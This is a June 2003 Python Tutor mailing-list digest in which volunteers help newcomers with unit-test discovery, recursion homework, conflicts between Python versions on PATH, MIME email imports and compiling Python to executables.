From py-tutor@fancy.org  Sun Jun  1 00:35:04 2003
From: py-tutor@fancy.org (Tom Plunket)
Date: Sat May 31 23:35:04 2003
Subject: [Tutor] unit testing
In-Reply-To: <5.2.1.1.0.20030601010722.01fa9e50@www.thinkware.se>
References: <5.2.1.1.0.20030531132233.01f79e30@www.thinkware.se> <vbmfdv83btvmnllpt3id5m7pjfq36271fc@4ax.com> <5.2.1.1.0.20030531132233.01f79e30@www.thinkware.se> <okrhdv8b1j0g6oe5l5isspe3pi3j43ke4a@4ax.com> <5.2.1.1.0.20030601010722.01fa9e50@www.thinkware.se>
Message-ID: <bfsidvcplqqghrqghfdsikjodi0bu1l3j8@4ax.com>

Magnus Lyckå wrote:

> At 11:05 2003-05-31 -0700, Tom Plunket wrote:
> >Sure- is there a way that I can call __import__ to look like
> >"from x import *" though?
> 
> The simplest solution I can think of is to do
> 
> for filename in glob.glob('test_*.py):
>      exec "from %s import *" % filename[:-3]
> 
> As I said, I advise against this.

Heh thanks for the tip, forgot about the fact that I could
execute arbitrary code from within my code.  :)

So that does exactly what I want, but reading the rest of what
you've written...

> Make sure that you have a big screen buffer in your cmd.exe so
> that you can scroll back if needed...

...or have another "watcher" python app that collects the results
and spits out a summary.  :)

> >That's a good point, although I do try to make sure there are no
> >dependencies anyway by limiting my use of global variables to
> >none and trying to always create new class instances.  :)
> 
> But this means that you might have problems with functions
> defined in a test module. A quick check reveals that I have
> a global function called 'init' in four of my test suites.

Oh right, I forgot about this.  Ok- that's what will make me
worrying about this, but aren't symbols preceded by an underscore
not linked into the global namespace on import?

> >C:\Documents and Settings\tom\My Documents>type test.py
> >import test.regrtest
> 
> test.py is importing itself! :) Rename it to something else.

Oh yeah.  Ugh.  Guess I have to start remembering the Python
keywords and modules.  :)

> I guess the tutorial should have something about this in large
> flaming letters where it discusses imports.

Yeah, the C++ standard library is nice like that- the standard
headers don't have .h, so I can have string.h and not screw
anything up.  ;)  Not that I'd do anything so foolish, but still.
:)

> >Hmm- there's something interesting.  Maybe I could hack unittest
> >so that it takes a list of modules to run.  ...or maybe that's
> >what that 'argv' parameter is for.  Hmm, maybe I can do it just
> >by passing my 'tests' list in as argv.
> 
> Please tell us what you found. Separate namespaces are probably
> enough protection, even if separate processes feel *very* safe...

Well, unittest.main can optionally take a module name, so it
shouldn't be too tough to make it take a list of modules.  Who do
I talk to about permission to do this and fold it back in to the
main Python codebase?

> As you see above, my total testing time is a lot longer than
> the sum of times for each test. I'm sure module loading takes
> some time, but maybe a better approach could save me ten seconds
> or so...

Yeah- I wonder if you might get some speed by searching for all
of your test files and importing them manually all at once.  Or
is that another thing you want to avoid, having everything loaded
up?  I suppose it would make sense to flush everything between
test runs, but taken to the extreme we might even prefer that the
entire interpreter shut down and restarted between each test...

> >Yes indeed- I actually had similar frustrations when moving
> >between C++ compilers, even.  The way to do things optimally
> >often depended entirely on the compiler.  :(
> 
> You mean like when you build something with Visual C++ and get
> no warnings, and in Unix you get hundreds, and realize that you
> have done things that are obviously not correct C++, but the
> "forgiving" Visual C++ compiler guessed what you meant, and didn't
> even bother to tell you that you were wrong.

Heh actually- things that work great in VC and kill the machine
in CodeWarrior, or code that works great in GCC but doesn't even
build in CW.  I hope I never have to use CW again, let me just
say...

> It's just the same as with HTML code for MS IE and other browsers.

Oh you're telling me- I've all but purged IE from my brain, got
really hooked on the way Opera worked, and it's irritating as
hell when I've got to open IE for a specific page that Opera
fails to work with...  :(


-tom!


From python@dhumketu.cjb.net  Sun Jun  1 01:48:01 2003
From: python@dhumketu.cjb.net (Shantanu Mahajan)
Date: Sun Jun  1 00:48:01 2003
Subject: [Tutor] Re: recursion sort of
Message-ID: <20030531211644.GA539@dhumketu.homeunix.net>

+-- Tom Plunket [python-tutor] [30-05-03 15:47 -0700]:
| Jennifer Cianciolo wrote:
| 
| > cycle +=3D1  # and what is this? / is this why it's recursive?
| 
| A recursive function is one that calls itself, so this function
| is not recursive.  Recursion is a cool solution to a number of
| problems that are not conveniently solved with looping, but a
| simple one is the factorial function, where factorial(N) means
| the product of each number between 1 and N, so if N is 4, the
| result is 1 * 2 * 3 * 4.  (Many of you probably know that
| already, but it's for anyone who doesn't.  <g>)
| 
| >>> def factorial(number):
| ... 	if number > 1:
					^ <--- should be 0
| ... 		return number * factorial(number - 1)
| ... 	elif number == 1:
					   ^ <--- should be 0
| ... 		return 1
| ... 	else:
| ... 		return 0
| ... 	
| >>> factorial(4)
| 24
| >>> factorial(6)
| 720
| 

	Regards,
	Shantanu

-- 
Madness has no purpose.  Or reason.  
But it may have a goal.


From dyoo@hkn.eecs.berkeley.edu  Sun Jun  1 04:02:03 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun Jun  1 03:02:03 2003
Subject: [Tutor] -Recursive Functions
In-Reply-To: <000e01c3274b$514fa370$69d6c518@6z5lw01>
Message-ID: <Pine.LNX.4.44.0305312346260.12189-100000@hkn.eecs.berkeley.edu>


On Sat, 31 May 2003, evros loizides wrote:

> * Your program should accept a string using the raw_input function. It
> should define a RECURSIVE function stringToNum(aString) than accepts a
> string parameter and returns the sum of the digit characters that occur
> in the string.  Thus, e.g., if the input is 'he5llo7 9world', the return
> value would be 21

Hi Evros,

Ok, this is definitely a homework problem. Please understand that our
options for helping you are greatly restricted --- part of the value of
the problem is figuring out how to solve it by yourself.

But a small suggestion: have you tried to solve a simpler-but-related
problem?  A simpler problem will give you practice so that you have a
better feel for how these recursive functions work.

For example, can you write a recursive function that will work on an input
that consists of just digits?  This problem is similar enough to the
original that once you get this, you can probably modify it to do the real
problem.

Alan Gauld has a good section on Recursion on his web tutor, so it should
be useful to go through it at least once:

    http://www.freenetpages.co.uk/hp/alan.gauld/tutrecur.htm

Good luck to you.




From dyoo@hkn.eecs.berkeley.edu  Sun Jun  1 04:24:02 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun Jun  1 03:24:02 2003
Subject: [Tutor] Installing gnome-python/conflicts with old python versions
 trouble
In-Reply-To: <1054372761.28257.178.camel@nate.ucdavis.edu>
Message-ID: <Pine.LNX.4.44.0306010004370.12189-100000@hkn.eecs.berkeley.edu>


On 31 May 2003, ashleigh smythe wrote:

Hi Ashleigh,

What's probably happening is that your program "PATH" is placing higher
precedence on the Python 1.52 that's installed on your system, rather than
the local installation of Python 2.2 that you've installed.  What you can
do is modify your PATH environmental varaible so that the directory
'/usr/local/bin' comes in front of the directory '/usr/bin'.


> I have had similar problems installing additional python modules as I'm
> just not clear on where they (or frankly anything else I install!)
> should go - I put biopython into /usr/local/lib/python2.2/site-packages
> but python2.2 can't find my input files in my home directory, only if
> they are also in /site-packages.

Hmmm....  You shouldn't have to move files manually into the
site-packages/ directory.  Python has a system for module installation
called Distutils, and, for the most part, it takes care of path details
for us.  For more details on how this works, we can look at:

    http://www.python.org/doc/current/inst/inst.html


The Cliff Notes version is something like this:  module installation
involves typing the command:

    % /usr/local/bin/python setup.py install

in the directory of the third-party Python module that we want to install.
The absolute path here ensures that we're using the right Python when we
do the install.


'./configure' scripts go outside of the standard Python Distutils system,
so we may have to do something slightly different there.


> checking for python... /usr/bin/python
> checking for python version... 1.5
> checking for python platform... linux-i386
> checking for python script directory...
> ${prefix}/lib/python1.5/site-packages
> checking for python extension module directory...
> ${exec_prefix}/lib/python1.5/site-packages
> checking for python >= 2.2... configure: error: too old

The 'configure' step is finding the old Python 1.52 first, before it has a
chance to see Python 2.2 in the /usr/local/bin/ directory.  I'm not
positive about this, but changing your PATH so that '/usr/local/bin/'
comes up ahead of '/usr/bin/' should do the trick.  You can do this
temporarily with the shell command (in bash):

    $ export PATH="/usr/local/bin:$PATH"
    $ ./configure


But since it sounds like you want to use Python 2.2 all the time, it makes
sense to set your path permanently so that your local programs in
'/usr/local/bin' show up first when the system searches for a binary.


Good luck to you.



From dyoo@hkn.eecs.berkeley.edu  Sun Jun  1 04:33:01 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun Jun  1 03:33:01 2003
Subject: [Tutor] unit testing  [how to contribute to Python's codebase]
In-Reply-To: <bfsidvcplqqghrqghfdsikjodi0bu1l3j8@4ax.com>
Message-ID: <Pine.LNX.4.44.0306010025490.12189-100000@hkn.eecs.berkeley.edu>

> > >Hmm- there's something interesting.  Maybe I could hack unittest
> > >so that it takes a list of modules to run.  ...or maybe that's
> > >what that 'argv' parameter is for.  Hmm, maybe I can do it just
> > >by passing my 'tests' list in as argv.
> >
> > Please tell us what you found. Separate namespaces are probably
> > enough protection, even if separate processes feel *very* safe...
>
> Well, unittest.main can optionally take a module name, so it shouldn't
> be too tough to make it take a list of modules.  Who do I talk to about
> permission to do this and fold it back in to the main Python codebase?

Hi Tom,

One way to do this is to write a small patch to unittest.py, and send it
off as a feature request in Python's sourceforge page:

    http://sourceforge.net/tracker/?group_id=5470&atid=305470

Once a patch gets submitted, the core developers can take a look and can
see if it can be integrated; they're usually pretty fast about it.

Talking about it on comp.lang.python might also be helpful, as it might
spur interest from other folks.  If an idea becomes popular there, you
have a better chance of getting it in.  *grin*

For more details about how we can contribute to Python, we can look at:

    http://www.python.org/dev/

Best of wishes!



From dyoo@hkn.eecs.berkeley.edu  Sun Jun  1 04:52:01 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun Jun  1 03:52:01 2003
Subject: [Tutor] recursion sort of
In-Reply-To: <200305302120.QAA16053@iupui.edu>
Message-ID: <Pine.LNX.4.44.0306010033480.12189-100000@hkn.eecs.berkeley.edu>


On Fri, 30 May 2003, Jennifer Cianciolo wrote:


> If you don't mind my sticking with what I had before for another moment,
> this is what I did before I got your message, because I realized (duh)
> that I am not interested in nt (the TOTAL of n1 + n2) I'm interested in
> the dynamics of n1 and n2 (we can imagine they're two different clones),
> specifially what will make them oscillate WITHIN the population (nt can
> stay constant all the time for all I care)
>
> this is the little change
>
> def run(n1, n2):
>      cycle = 1
>      while 1:
>          print n1  #change here
>          print n2  #change here
>          if n1>=800:
>              w1=0.1

[some code cut]

> if there are typos... believe it or not I'm manually copying these in.

No, this looks fine.  I still think you should be breaking this into
smaller functions, but that's just the programming purist in me.  *grin*



> I'll see what I can figure out about your suggustions

Sure.  If you have more questions, please feel free to ask; all of us here
will be happy to do what we can to help.


By the way, if you're interested in learning about recursion, you might
find this book helpful:

    http://www.cs.berkeley.edu/~bh/simply-toc.html

This is not a book on Python.  Despite that, it's an awesome book if you
want a gentle introduction to programming and recursion.


Good luck!



From mwagman@charter.net  Sun Jun  1 08:27:01 2003
From: mwagman@charter.net (Mike Wagman)
Date: Sun Jun  1 07:27:01 2003
Subject: [Tutor] Finding MIMEImage
Message-ID: <1054466997.2509.3.camel@c24.241.239.70.jvl.wi.charter.com>

Ok working with the email example script and I keep getting the error
Import Error: No Module named MIMEImage.

MIMEImage exists in the following directory 
usr/lib/python2.2/email

and that directory shows up in the path of IDLE - 

It sends the email but can't attach the file.

Any ideas why the sample script is unable to load MIMEImage it tries
with this code

from email.MIMEImage import MIMEImage
from email.MIMEMultipart import MIMEMultipart

Mike Wagman <mwagman@charter.net>



From R. Alan Monroe" <amonroe@columbus.rr.com  Sun Jun  1 11:28:08 2003
From: R. Alan Monroe" <amonroe@columbus.rr.com (R. Alan Monroe)
Date: Sun Jun  1 10:28:08 2003
Subject: [Tutor] Will there ever be a native python compiler to create pure exe and dll
In-Reply-To: <1054466997.2509.3.camel@c24.241.239.70.jvl.wi.charter.com>
References: <1054466997.2509.3.camel@c24.241.239.70.jvl.wi.charter.com>
Message-ID: <901785710566.20030601103144@columbus.rr.com>

I'm sure this is a FAQ but searching on python.org and google didn't
turn up anything definitive. I don't want to clog up tutor with a big
thread on this, but I'd appreciate pointers to sites that cover this.

Alan



From magnus@thinkware.se  Sun Jun  1 12:07:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sun Jun  1 11:07:01 2003
Subject: [Tutor] unit testing
In-Reply-To: <bfsidvcplqqghrqghfdsikjodi0bu1l3j8@4ax.com>
References: <5.2.1.1.0.20030601010722.01fa9e50@www.thinkware.se>
 <5.2.1.1.0.20030531132233.01f79e30@www.thinkware.se>
 <vbmfdv83btvmnllpt3id5m7pjfq36271fc@4ax.com>
 <5.2.1.1.0.20030531132233.01f79e30@www.thinkware.se>
 <okrhdv8b1j0g6oe5l5isspe3pi3j43ke4a@4ax.com>
 <5.2.1.1.0.20030601010722.01fa9e50@www.thinkware.se>
Message-ID: <5.2.1.1.0.20030601153649.01ed4fd8@www.thinkware.se>

At 20:34 2003-05-31 -0700, Tom Plunket wrote:
> > But this means that you might have problems with functions
> > defined in a test module. A quick check reveals that I have
> > a global function called 'init' in four of my test suites.
>
>Oh right, I forgot about this.  Ok- that's what will make me
>worrying about this, but aren't symbols preceded by an underscore
>not linked into the global namespace on import?

Actually, as long as 'init' is only called from within a test
suite, the code in each module will find the 'init' in the
module where that test suite is defined. So, with

#a.py
def init(): print 'a init'
def a(): init()

and

#b.py
def init(): print 'b init'
def b(): init()

doing

from a import *
from b import *
a() => 'a init'
b() => 'b init'
init() => 'b init'

I still feel it's easier to understand exactly what is going
on if I don't use "from X import *".

>Oh yeah.  Ugh.  Guess I have to start remembering the Python
>keywords and modules.  :)

Using Python keywords, i.e. reserved words, as variable names
will cause syntax error, but there is a lot of builtin functions,
types and other objects. Try:

 >>> dir(__builtins__)

>Yeah, the C++ standard library is nice like that- the standard
>headers don't have .h, so I can have string.h and not screw
>anything up.  ;)  Not that I'd do anything so foolish, but still.
>:)

But in a big system there might still be name clashes when
you do #include... C++ is not good at modularity in this
regard.

>Well, unittest.main can optionally take a module name, so it
>shouldn't be too tough to make it take a list of modules.  Who do
>I talk to about permission to do this and fold it back in to the
>main Python codebase?

Look here: http://www.python.org/dev/

Unittest was developed by Steve Purcell. I don't know how
involved he is since it became a standard lib module.
http://pyunit.sourceforge.net/pyunit.html

But why not simply do:

for module in modules:
     try:
         unittest.main(module) # or whatever it is...
     except SystemExit:
         pass




--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The shortest path from thought to working program  



From dyoo@hkn.eecs.berkeley.edu  Sun Jun  1 13:53:01 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun Jun  1 12:53:01 2003
Subject: [Tutor] -Recursive Functions
In-Reply-To: <BAY7-F38THivqitfUkc00023ccd@hotmail.com>
Message-ID: <Pine.LNX.4.44.0306010926001.29485-100000@hkn.eecs.berkeley.edu>

On Sun, 1 Jun 2003, Evripides Loizides wrote:

> i did wrote the program using while loop that i am more familiar with.i
> am asking for anybody to solve my problem im just looking to find if
> anybody can help me with the recirsive functions.

Hi Evripides,


A few of us have already given you examples of recursive functions, but
that doesn't seem to be working

Our dilemma is that we really can't read your mind: we can't easily see
what the problem is.  Our own recourse is to probe by asking questions.

Can you try to explain to us what problems you're having with recursion?
Is it the definition of "recursion" that you're having trouble with, or
are you having problems applying it?

Let's say that we're working on a similar problem: if you were to try
writing a recursive function that returns the number of vowels in a word,
how would you go about it?


Try writing some simpler recursive functions and feel free to show them to
us, even if they don't work quite right.  Once we see examples of your
recursive functions, we can then get a better handle on things we can do
to help make recursion make more sense for you.

Good luck to you.



From magnus@thinkware.se  Sun Jun  1 14:38:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sun Jun  1 13:38:01 2003
Subject: [Tutor] Installing gnome-python/conflicts with old python
 versions trouble
In-Reply-To: <Pine.LNX.4.44.0306010004370.12189-100000@hkn.eecs.berkeley
 .edu>
References: <1054372761.28257.178.camel@nate.ucdavis.edu>
Message-ID: <5.2.1.1.0.20030601193304.01e95e78@www.thinkware.se>

At 00:23 2003-06-01 -0700, Danny Yoo wrote:
>     $ export PATH="/usr/local/bin:$PATH"
>     $ ./configure
>
>But since it sounds like you want to use Python 2.2 all the time, it makes
>sense to set your path permanently so that your local programs in
>'/usr/local/bin' show up first when the system searches for a binary.

Until fairly recently (RH 8.0?) RedHat Linux depended on Python 1.5.2
for lots of sys-admin tools. I assume you can put /usr/local/bin before
/usr/bin in the path for a normal user account, but I'm not sure it
will work for root---not when you try to use the sys-admin tools. Maybe
it will though? If all the sys-admin scripts use "#!/usr/bin/python" it
shouldn't matter that /usr/local/bin/python is found first if you just
type "python" at the prompt. Typically, you will need to run as root when
you run distutils, so root issues matter. (Well, that depends on how you
set permissions under /usr/local I guess.)

In other words, it might be more complicated in RedHat pre 8.0 than in
most other linux environments.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The shortest path from thought to working program 



From bbbbosox@mtneer.net  Sun Jun  1 15:48:12 2003
From: bbbbosox@mtneer.net (Dirigo)
Date: Sun Jun  1 14:48:12 2003
Subject: [Tutor] Newbie here ... Have just downloaded Python 2.2.2 and am
References: <1054466997.2509.3.camel@c24.241.239.70.jvl.wi.charter.com>
Message-ID: <006201c3286e$19a0fb80$c47dfea9@client>

getting ready to install it on a Win 98SE system.  But before I do ...

1.  What does the download actually consist of?   I assume the python
interpreter and IDLE from what I read on the main web page of
python.org?  But is there anything else included within this zipped
package that I should be aware?

2.  I also assume I need to download apache to function as a web server.
Is there a recommended specific apache version I should download that is
compatible with Python-2.2.2.exe?

3.  As of yet, I have not downloade Mark Hammond's Win32 extensions.
Should I shortly ... after initial install?  I assume the extensions
provide additional functionality, but, perhaps, it would be wise for me
to hold off until I master the rudimentary functionality of python
itself.  What are you folks' thoughts on this approach?

4.  I recognize there are a number of good books out there and look for
recommendations from you also ... since you have a lot more experience
than I am this point and I have a limited book budget right now ...

I'm sure I'll have other questions as I move along ;>))  I choose the
Python-2.2.2.exe download as I figured it has been out awhile and is
perhaps the most stable for the time being.  Also, I know you folks have
had a bit longer to learn it insides out rather than the recently
released (05/30/03 or 30/05/03) release.

Thanks in advance for any comments, suggestions, etc you graciously
provide me.

Regards,

Dirigo



From alan.gauld@blueyonder.co.uk  Sun Jun  1 17:41:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Sun Jun  1 16:41:02 2003
Subject: [Tutor] Will there ever be a native python compiler to create pure exe and dll
References: <1054466997.2509.3.camel@c24.241.239.70.jvl.wi.charter.com> <901785710566.20030601103144@columbus.rr.com>
Message-ID: <006101c3287e$31f97c10$6401a8c0@xp>

Responding to the Q in the subject...

Probably not since pure EXE and DLL's are going the way of the Dodo. 
Microsoft's new .NET environment works exactly like Python in that 
code gets compiled into an intermediate language and executed by 
an interpreter. Thus its far more likely that someone will produce 
a Python to .NET compiler, in fact I believe I read somewhere that 
its already being worked on. At that point Python will then operate 
exactly like C#, VB.NET, Java, etc etc.

In fact Python's structure, like most dynamic languages makes it 
hard to produce a pure EXE compiler. One of the reasons Python is 
so powerful is precisely because it has the ability to dynamically 
change its behaviour, but that is very difficult to compile 
effectively. (How do you compile an exec or eval statement for 
example? Especially if the string being evaluated creates a 
new class, say.)

Other examples where major languages have proved difficult to 
compile into "pure executables" (ie no embedded interpreter) are 
Smalltalk, Prolog, Lisp and VB. 
(Now the Lisp folks will start to complain - sorreee! :-)

Alan G.



From R. Alan Monroe" <amonroe@columbus.rr.com  Sun Jun  1 18:13:01 2003
From: R. Alan Monroe" <amonroe@columbus.rr.com (R. Alan Monroe)
Date: Sun Jun  1 17:13:01 2003
Subject: [Tutor] Will there ever be a native python compiler to create pure exe and dll
In-Reply-To: <006101c3287e$31f97c10$6401a8c0@xp>
References: <1054466997.2509.3.camel@c24.241.239.70.jvl.wi.charter.com>
 <901785710566.20030601103144@columbus.rr.com>
 <006101c3287e$31f97c10$6401a8c0@xp>
Message-ID: <1831810091894.20030601171806@columbus.rr.com>

> Probably not since pure EXE and DLL's are going the way of the Dodo.

Well, for my part, insert a "...when they pry them from my cold, dead
hands" statement here :^)


> change its behaviour, but that is very difficult to compile
> effectively. (How do you compile an exec or eval statement for 
> example?

I could live without those. 90% of programs could live without those.
The job I had in mind was making (or at least, prototyping) vis
plugins for Sonique. That requires creating .dlls. I suppose I'm stuck
with C for this task.

Alan



From tim@johnsons-web.com  Sun Jun  1 18:51:02 2003
From: tim@johnsons-web.com (Tim Johnson)
Date: Sun Jun  1 17:51:02 2003
Subject: [Tutor] Will there ever be a native python compiler to create pure exe and dll
In-Reply-To: <006101c3287e$31f97c10$6401a8c0@xp>
References: <1054466997.2509.3.camel@c24.241.239.70.jvl.wi.charter.com> <901785710566.20030601103144@columbus.rr.com> <006101c3287e$31f97c10$6401a8c0@xp>
Message-ID: <20030601215222.GZ22262@johnsons-web.com>

* Alan Gauld <alan.gauld@blueyonder.co.uk> [030601 12:46]:
> Responding to the Q in the subject...
> 
> Probably not since pure EXE and DLL's are going the way of the Dodo. 
> Microsoft's new .NET environment works exactly like Python in that 
> code gets compiled into an intermediate language and executed by 
> an interpreter. Thus its far more likely that someone will produce 
> a Python to .NET compiler, in fact I believe I read somewhere that 
> its already being worked on. At that point Python will then operate 
> exactly like C#, VB.NET, Java, etc etc.
> 
> In fact Python's structure, like most dynamic languages makes it 
> hard to produce a pure EXE compiler. One of the reasons Python is 
> so powerful is precisely because it has the ability to dynamically 
> change its behaviour, but that is very difficult to compile 
> effectively. (How do you compile an exec or eval statement for 
> example? Especially if the string being evaluated creates a 
> new class, say.)
> 
> Other examples where major languages have proved difficult to 
> compile into "pure executables" (ie no embedded interpreter) are 
> Smalltalk, Prolog, Lisp and VB. 
> (Now the Lisp folks will start to complain - sorreee! :-)

  I believe that the same could be said for most 'scripting'
  or interpreted languages, include perl, and rebol, which
  my company also programs. There is also some research being
  done towards multi-language byte compilers like 'parrot',
  which started as an April's Fool Day joke and (I believe)
  is now accomodating code for Perl, Python, and Ruby.

  I expect that C/C++ and Assembler will remain the 'building
  blocks' for high-level languages like Python. Python sure
  makes life easier for me....
  tim
-- 
Tim Johnson <tim@johnsons-web.com>
      http://www.alaska-internet-solutions.com
      http://www.johnsons-web.com


From shalehperry@attbi.com  Sun Jun  1 19:10:02 2003
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Sun Jun  1 18:10:02 2003
Subject: [Tutor] Will there ever be a native python compiler to create pure exe and dll
In-Reply-To: <1831810091894.20030601171806@columbus.rr.com>
References: <1054466997.2509.3.camel@c24.241.239.70.jvl.wi.charter.com> <006101c3287e$31f97c10$6401a8c0@xp> <1831810091894.20030601171806@columbus.rr.com>
Message-ID: <200306011509.11589.shalehperry@attbi.com>

On Sunday 01 June 2003 14:18, R. Alan Monroe wrote:
>
> I could live without those. 90% of programs could live without those.
> The job I had in mind was making (or at least, prototyping) vis
> plugins for Sonique. That requires creating .dlls. I suppose I'm stuck
> with C for this task.
>

you would need a Python -> Sonique interface which would probably be coded in 
C.  After that the actual modules could likely be left as Python.

This is no different than Python interacting with MFC, .NET, etc.  You will 
need an interface module for any of those.



From alan.gauld@blueyonder.co.uk  Sun Jun  1 19:45:03 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Sun Jun  1 18:45:03 2003
Subject: [Tutor] Will there ever be a native python compiler to create pure exe and dll
References: <1054466997.2509.3.camel@c24.241.239.70.jvl.wi.charter.com> <901785710566.20030601103144@columbus.rr.com> <006101c3287e$31f97c10$6401a8c0@xp> <1831810091894.20030601171806@columbus.rr.com>
Message-ID: <006c01c3288f$83d19250$6401a8c0@xp>

> Well, for my part, insert a "...when they pry them from my cold,
dead
> hands" statement here :^)

:-)

> > effectively. (How do you compile an exec or eval statement for
> > example?
>
> I could live without those. 90% of programs could live without
those.

Probably but nonetheless they are part of the language so to create
a compiler that couldn't handle them would not be a python compiler!

> The job I had in mind was making (or at least, prototyping) vis
> plugins for Sonique. That requires creating .dlls. I suppose I'm
stuck
> with C for this task.

You mean it can't work with COM objects? That's unusual. DLLs are much
harder to dynamically link with than COM. And of course COM objects
are fairly easy in Python...

Alan g.



From dyoo@hkn.eecs.berkeley.edu  Sun Jun  1 19:50:02 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun Jun  1 18:50:02 2003
Subject: [Tutor] -Recursive Functions (fwd)
Message-ID: <Pine.LNX.4.44.0306011547020.9783-100000@hkn.eecs.berkeley.edu>

[Forwarding to tutor@python.org; please keep tutor@python.org in CC in
your replies; this lets others give sugestions or make corrections.]

---------- Forwarded message ----------
Date: Sun, 01 Jun 2003 19:12:40 +0000
From: Evripides Loizides <loizie@hotmail.com>
To: dyoo@hkn.eecs.berkeley.edu
Subject: Re: [Tutor] -Recursive Functions


i ma having problem to understand how to aply the recursion function to
my problem

i understand what a recursive function does. the problem im facing is to
apply it on my problem here what i have right now and let me know if i am
in the rigth direction ok

thanks:

import string
num=len(myString)

def stringToNum(aString):
   (i have to put a condition over here .)

      if myString[n-1].isdigit():
         sum=sum+int(myString[n-1])
        n=n+1
   print sum


 myString = raw_input("Enter a string: ")
print stringToNum(myString)







>From: Danny Yoo
>To: Evripides Loizides
>CC: Tutor
>Subject: Re: [Tutor] -Recursive Functions
>Date: Sun, 1 Jun 2003 09:52:09 -0700 (PDT)
>
>
>On Sun, 1 Jun 2003, Evripides Loizides wrote:
>
> > i did wrote the program using while loop that i am more familiar
with.i
> > am asking for anybody to solve my problem im just looking to find if
> > anybody can help me with the recirsive functions.
>
>Hi Evripides,
>
>
>A few of us have already given you examples of recursive functions, but
>that doesn't seem to be working
>
>Our dilemma is that we really can't read your mind: we can't easily see
>what the problem is. Our own recourse is to probe by asking questions.
>
>Can you try to explain to us what problems you're having with recursion?
>Is it the definition of "recursion" that you're having trouble with, or
>are you having problems applying it?
>
>Let's say that we're working on a similar problem: if you were to try
>writing a recursive function that returns the number of vowels in a
word,
>how would you go about it?
>
>
>Try writing some simpler recursive functions and feel free to show them
to
>us, even if they don't work quite right. Once we see examples of your
>recursive functions, we can then get a better handle on things we can do
>to help make recursion make more sense for you.
>
>Good luck to you.
>
>
>_______________________________________________
>Tutor maillist - Tutor@python.org
>http://mail.python.org/mailman/listinfo/tutor

________________________________________________________________________________




From magnus@thinkware.se  Sun Jun  1 20:00:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sun Jun  1 19:00:02 2003
Subject: [Tutor] Finding MIMEImage
In-Reply-To: <1054466997.2509.3.camel@c24.241.239.70.jvl.wi.charter.com>
Message-ID: <5.2.1.1.0.20030602005824.01e96d80@www.thinkware.se>

At 06:29 2003-06-01 -0500, Mike Wagman wrote:
>Ok working with the email example script and I keep getting the error
>Import Error: No Module named MIMEImage.

Is this the third case in a few days where someone
is importing their own files instead of a standard
module?  :)

if you do

 >>> import email
 >>> print reload(email)

What filename is indicated?

C:\Python22\lib\email\__init__.py or some email.py in
your own directory?

Your import should work in Python 2.2 if you don't find
a spurious module...

 >>> from email.MIMEImage import MIMEImage
 >>> help(MIMEImage)
Help on class MIMEImage in module email.MIMEImage:
class MIMEImage(email.MIMENonMultipart.MIMENonMultipart)
  |  Class for generating image/* type MIME documents.
  |
[...]



--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The shortest path from thought to working program 



From dyoo@hkn.eecs.berkeley.edu  Sun Jun  1 20:18:01 2003
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun Jun  1 19:18:01 2003
Subject: [Tutor] -Recursive Functions (fwd)
In-Reply-To: <Pine.LNX.4.44.0306011547020.9783-100000@hkn.eecs.berkeley.edu>
Message-ID: <Pine.LNX.4.44.0306011550200.9783-100000@hkn.eecs.berkeley.edu>

> def stringToNum(aString):
>    (i have to put a condition over here .)
>
>       if myString[n-1].isdigit():
>          sum=sum+int(myString[n-1])
>         n=n+1
>    print sum


Has your instructor given examples of doing recursion across string
sequences yet?  When we do recursion across a sequence, we often take care
of two particular situations:

    1.  How do we deal with the "empty" or null sequence?
    2.  How do we deal with the nonempty sequence?

For example, say that we're trying to write a function that can figure out
how long a string is.  (Pretend that we don't have the len() function
handy for the purposes of this exercise).  How can we approach a problem
like this?


One thing to see is that the length of the empty string is zero, so we can
code for this:

###
def length(s):
    "Returns the length of sequence s."
    if s == "": return 0
###


That was easy.  And this handles empty strings perfectly well.

###
>>> length("")
0
###


The problem, of course, is that it can't handle much else.

###
>>> length("hello")
>>>
###


So how to we handle strings that aren't empty?  Well, we can lop off the
first character of any string by doing a slice:

###
>>> msg = "Hello"
>>> msg[1:]
'ello'
###

How does this string chopping help, though?  It helps because the length
of the word "Hello" is just one more than the length of the word "ello".
More formally:

   length("hello")  equals  1 + length("ello")

Does this get us anywhere?  Yes, because we can apply the chopping
technique again: the length of "ello" is just 1 + the length of "llo".
And the length of "llo" is just 1 + the length of "lo"...

So if our length() function can handle strings of length 0, and if we can
teach it how to handle nonempty strings, then it should be able to handle
all strings.  The part that's "recursive" about the length function is
that we can write it in terms of a small version of the problem:

    length("some string") = 1 + length("ome string")

    "big problem" can be reduced to trivial solution,
                            combined with solution to slightly easier
                            problem.

Does this make sense so far?  Try writing the length() function and see if
it works for you; you'll be better equipped to handle your original
problem once you can do length().


Good luck to you.



From mwagman@charter.net  Sun Jun  1 20:42:03 2003
From: mwagman@charter.net (Mike Wagman)
Date: Sun Jun  1 19:42:03 2003
Subject: [Tutor] Finding a MIME image
Message-ID: <1054511105.2497.2.camel@c24.241.239.70.jvl.wi.charter.com>

I get the right path which is 
<module 'email' from '/usr/lib/python2.2/email/__init__.pyc'>

althougth it's kindof a mute point as I just found a demo that works
that I can look at.



-- 
Mike Wagman <mwagman@charter.net>



From loizie@hotmail.com  Sun Jun  1 21:15:03 2003
